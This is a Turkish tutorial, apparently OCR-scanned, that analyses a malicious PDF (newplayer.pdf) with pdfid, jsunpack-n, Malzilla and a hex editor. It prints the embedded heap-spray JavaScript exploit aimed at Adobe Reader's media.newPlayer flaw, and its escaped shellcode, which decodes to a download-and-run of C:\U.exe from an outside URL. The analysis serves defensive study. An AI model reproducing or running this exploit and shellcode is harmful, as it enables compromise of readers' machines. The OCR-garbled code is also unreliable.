zaafi mevcutsa kullaniciy1 gizli bir sekilde tehlikeli bir Internet adresine yonlendirmektedir.

root@bt:/ANALIZ# Is -la
rw-r--r-- 1 root root 1430 Apr 3 05:43 newplayer.pdf

Dokiimanin adi: newplayer.pdf

root@bt:/ANALiZ# ./pdfid.py newplayer.pdf
PDFiD 0.0.11 newplayer.pdf

PDF Header: %PDF-1.0

obj 9

endobj 9

stream 2

endstream 2

xref 0

trailer 1

startxref 0

/Page 1

/Encrypt 0

/ObjStm 0

/1S 2

/JavaScript 3

/AA 0
/OpenAction 0
/AcroForm 0
/IBIG2Decode 0
/RichMedia 0
/Launch 0
/Colors > 2724 0

PDF dosyalarma JavaScript kod yerlestirilmesiyle, normal bir pdf dokiimani tehlikeli hale
getirilebilir. “pdfid.py” dosyasiyla newplayer.pdf dosyasina ait bilgileri goriintiiledik.
/JavaScript 3 kismina dikkat edelim. PDF dokiimaninda Javascript kodlarmin mevcut
oldugunu gordiik.

Jsunpack araciyla dokiiman i¢ginden javascript kod parcasini ayiklayip incelememize devam
edelim.

root@bt:/ANALiZ/jsunpack-n# ./jsunpack-n.py newplayer.pdf
root@bt:/ANALiZ/jsunpack-n/files#ls -la
-rw-r--r-- 1 root root 1501 May 25 14:18 decoding_2ac8ed34c437d7798b17a79cd688dcbb241a7a79

root@bt#cat decoding_2ac8ed34c437d7798b17a79cd688dcbb241a7a79
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function xsavy(fuypd)

{

return unescape(fuypd};
H

function gldugl{)

{

var judscu='pE1111 11111111 1111111111141 = yyyy111';

util.printd({judscw, new Date{)});

H

var btisjsily = app.pluglns;

for (var gzyobn=8; gzyobn < btisjsis.length; gzyobn++)
{

if (btisjsi%[gzyobn].name=="EScript'}{var hsbubpé=btisjsis[gzyobn].version;}
H

if (({hsbubp6>9)&&({hsbubp6<?.3))
{
var epfqbr=1488;

H
else if{{hsbubp6>8.12)&&(hsbubp6<8.2))
{

K
{

var epfqbr=2988;

else

jngte=new Array{);

var jufzj = 'ARGYO9BARGY A28’ .replace(/ARG/igm, '%u");

var xobmhoyé = 'ZS4EBZ75BBZBB3CZ3574Z2K378256F52768B2X32X233F5249C92ADU12DB33Z2XF36214BEZ3828274F22C1X825DCBZDAK3ZEBAXZ
3BEFZ75DFZ25EEFZSESBZX32U266DD2ZXCEBZBBABZ21CSEZDDX3ZXU8BZXIBBZCICS 27275 26D6C26E6F Z642EZGCOCZ43XKZ5C3AZ2ES5278652KK6520K33
ZXI64Z23KAXZXCTEZUN8BZ8BRCZ1CT N ZBBADZN BN ZXOEBZLXBBZ8D 3 U7 CAXZLX8B2Z953CZ8EBF ZXEMEZEBECZFFB4ZFFFFZECB3 283X 422420 2FF3C295
DXZBFSXZ1A3627X2F Z6FE8ZFFFFZBBFFZ2245428DFCZBAS2Z2DB33253532EB5 225324 2DXFFZBFSDZFEPBZXESAZSIESZFFFFZB3FFZXUECZ2C83 2622,
ZDXFFZ7EBFZE2DBZEBT32FFUXZFFFFZFFS 2 2EBD X ZFFD7 2FFFF 2706827 X7 U2 2F3AZ2662F 27AGF 2656426567 22EGEZG6F6322F6D22EGC268FXZ23F7XZ3
p6923631° .replace(/2/igm, %u').replace(/%/igm, 8');

jufzj=xsawy(jufzj);

xobmhoy6=xsavy(xobmhoyé) ;

while{jufzj.length <= @x8688){jufzj+=jufzj;}

jufzj=jufzj.substr({8,8x80008 - xobmhoyt.length);

for(gzyobn=8;gzyobn<epfqbr ;gzyobn++) {jngte[gzyobn]=jufzj + xobmhoyb;}

if(epfqbr){gldugl{);gldugl{);try {this.media.newPlayer{null});} catch{e) {}gldugl{);}

PDF icerisinde eklenen javascript kodu goriilmektedir. Kod igerisinde yer alan “xobmhoy6”
degerini kontrol edelim. Antiviriis uygulamalarindan kaginmak icin ¢esitlemeler yapilmas.
“xobmhoy6” degerinde yer alan Z yerine %u, X yerine 0 ifadelerini yerlestirelim.
“xobmhoy6” ifadesi su sekle doniismiistiir.

wsHEELu S EERuREACEudS Fa%e 03 FASuS &F 530 76 BESu BE 2 rEudaF STus it P Eua i S n DB AT OF 363014
HESu38? BT 4F PEuC1 B8 a0 CELuln BEI%uE B By 3EEF L TS DF PuSEE rusESE uaI 2Nk w60 DX u i Ee
UHBNEL U CSEXuDD BIEn 0%y NZHEZNCEC S0 T2 TSR0 DECTGE SF S unnR ESus 0o nTe N A0S Can
UZESEEuTRGS K006 S 5ol 033 %0 0360503 0% ik BT TR BEETuRE BCLu AL 7 B uBEADSu NEL B BTER

U BEEEURD AN ST CY FEu s RS u PS5 ICTUSE BF S BE MEUE SECTuFFRNEUFFFFIUECAISuEE gz 420
UFFICEUS0 FXubFS B Aa6%u 7 02 FIusF ERTuFFFFRuRBF FEu?us SEuRDF CEuBAS 2 5ubEIatus 350
WERSFEUS A2 N0 AF FEuBFSDEuF EYES BEEATUSIERYUFFFFEURIFFLuanE CEu? CRA%u 62 Pl 0FF
UTEBFEUE?DEENERT IEuFF v OEuF FFFEuFFS 2 uERDITEuFFRTEOFFFFEuT a8 Eu7 a7 W Eu2F INEus62F
UTREFEBGSANERESH TENZEAESREF 633uZF 60Eu2E SCLuh 8 7T TEudF 7 iEu3Da 9Eu3 631

Malzilla Uygulamasi vasitasiyla bu degerleri derinlemesine inceleyelim. Ne demek istiyor bu
“xobmhoy6” ifadesi.

. . - . .

Malzilla uygulamasinda yer alan Misc Decoders kismina bu degeri ekleyelim.

8 Malzilla by bobby | N (=]
Download I Decoder Misc Decoders | Kalimero Processor I Shellcode analyzer I Log | Clipboard Monitor I Motes I Hex view I PScriptI Tools | Settings I About I
Text |He)( I
FuS54EB3uT758B3uEB3C3u35743ul3783u56F53uT68EB3u03203u33F53u49Co2%uAl413ulB333ulF363ul4BESu3B8283uT74F23uCl083u0DCEBIuDA033uER40 ;I
Fu3BEF%uT7SDF3uSEET3uSEEBtu03243u66DD3u0lCEE3uiB4B¥ulC5E3uDD033ul48B%3ul38B3uC3C5%uT275%u6D6CTuEE6F3u642E3ueCeCTud3003usC3n
Fu2E55%uT78653u00653uC0333ul3643u3040%ulCTE8%u408B3usB0CRulCT0%ueBADFu0840%ulEB3u408B3utD343u7C40%u408B3ud53C3usEBF3ulE4E
FUEBECYuFFE843uFFFFRuECE33ud3043u242CtuFF3C3us5D03uBF50%ulA36%uT02FtubFEE3uFFFF3u8BFFtu2454%ulDFC3uBAS2$uDB333us353%uEBs2
3u53243uD0FF3uBFSD¥uFE283ulESAIuSSES3uFFFF3ud3FF3ul4ECTu2CE833n62243uD0FF3¥u7EBF3uE2D8%uE8T33uFF403uFFFFuFF523uE8D03uFFD7
%'JFFFF%'J'."&63%'.1'."0'."‘]%'.12FSA%'JG62F%'JTREF%'JSS6‘1%'.165GT%JZEEE%'JEFSS%'JZFED%.12ESC%'JE-BTO%'JSFTO%.13D69%'J3dgl

[ -]

Override default delimiter Search: XOR key:

Decode Dec () | I Decode 15.encode | Increase | 1 LICS2 To He: | I I
Replace:
Decode Hex (%) | + Predelimiter Decode Basesd | Decrease | 2 (RexToFle |
— I
Decode UCS2 (%) | " Postdelimiter Concatenate | | 1 *Z] Text to file
Replace |

Degeri ekledikten sonra 1 — UCS2 To Hex ile diizenlemeden sonra 2 — Hex To File ile binary
dosyasi olarak “hexfile.bin” ad1 altinda dosyay1 kayit edelim. Olusturulan “hexfile.bin” isimli
Dosyamizi herhangi bir hex editorii ile agalim.
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HEXRFIL Hiew 5.98 (c>SEN.
HEBHBHOH = Prin<itoxwiliv
HBAARA1A - EInlAi @648 ¢
AaABaA2A = T LU T N
HBAARAZA : wifIPKi " w]isiw
HEAdaA4A = +hurlmon.dll C:x
HBAARAS A : U.exe 3LdwBAxPil
HBAARAGLA : 2ip i IPQIOIE410 |
ARBBBAYA IR ANIE ai

BlAABAEA - #5.5< Z6P162/pxo
BEABERT A - iT$=1R||3PEESRD
BPAABEAA : £8 2]qimefks a
BEABBAEA - i*d.5h 2" ThsxR
BBAABACA : R 21 http:=~
(G1515151515) 0I5 sfozdegen.coms1.
BPAABHEA : php?i=i6

Hexfile.bin dosyas1t PDF dosyasinin ger¢ek amacini yansitiyor. “Newplayer.pdf” dosyasi
kullaniciya air pdf okuyucu yaziliminda zafiyet mevcutsa belirtilen adres gizlice baglanip
kullanicida dosya(C:\U.exe) calistirmaktir. Neticesinde kullaniciya ait gizli bilgiler internet
ortaminda bagka gozler tarafindan takip edilecektir.

Tacettin KARADENIZ
tacettink@olympos.org

Referanslar
http://www.olympos.net/belgeler/botnet/botnet-bot-network-126231.html
http://www.olympos.net/belgeler/guvenlik-aciklari/internetin-sakli-yuzu-126392.html
http://www.olympos.net/belgeler/gizli-tehlike-126162.html
http://www.novirusthanks.org/products/zeus-trojan-remover/
http://7571abs.org/wiki/Projects/pdfresurrect
http://www.olympos.net/haberler/malware/2009-kotu-amacli-yazilimlar-5969.html
http://www.turk.internet.com/portal/yazigoster.php?yaziid=25659
http://malzilla.sourceforge.net/

https://code.google.com/p/jsunpack-n/
http://blog.didierstevens.com/programs/pdf-tools/
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